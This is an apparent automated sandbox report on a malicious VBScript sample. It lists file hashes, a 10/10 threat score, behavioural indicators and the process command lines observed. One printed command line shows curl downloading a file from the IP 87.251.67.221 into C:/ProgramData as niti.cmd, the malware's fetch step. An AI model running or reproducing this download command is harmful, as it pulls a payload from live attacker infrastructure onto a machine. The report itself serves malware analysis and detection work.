90b2ab478dc13eee0eec81492eb6f5901e0f39d9aeb1cbc13e20a64b3bdda9fa

Analysis

max time kernel
66s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
02/02/2023, 22:53

Target
vbs-decoded-1.vbs
Size 1KB
Sample230202-2va6vsbh7z
SHA256 90b2ab478dc13eee0eec81492eb6f5901e0f39d9aeb1cbc13e20a64b3bdda9fa
MD5 c16143bc85966425805e7b002de52888
SHA1 d89712a6d590ea4815464fd7adf27ffb33682f99
SHA512 193cfa083e4b2536d2af808aa164a2390b08a61f713eae05b4cc012a776949999e69cc292ed9e3904467a91d93011074701c278fdc3ab38b9eda2db616c76613
MD5 SHA1 SHA512

Score

10^/10

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4788	1300	curl.exe	26
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2904	1300	Powershell.exe	26

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	3476	WScript.exe
7	3476	WScript.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2904	Powershell.exe
2904	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2904	Powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\vbs-decoded-1.vbs"
1⤵
- Blocklisted process makes network request
PID:3476

C:\Windows\system32\curl.exe
curl.exe http://87.251.67.221/SCRIPY.dsdds -o C:/ProgramData/niti.cmd
1⤵
- Process spawned unexpected child process
PID:4788

memory/2904-132-0x00000213484D0000-0x00000213484F2000-memory.dmp

Download

memory/2904-133-0x00007FF896510000-0x00007FF896FD1000-memory.dmp

Download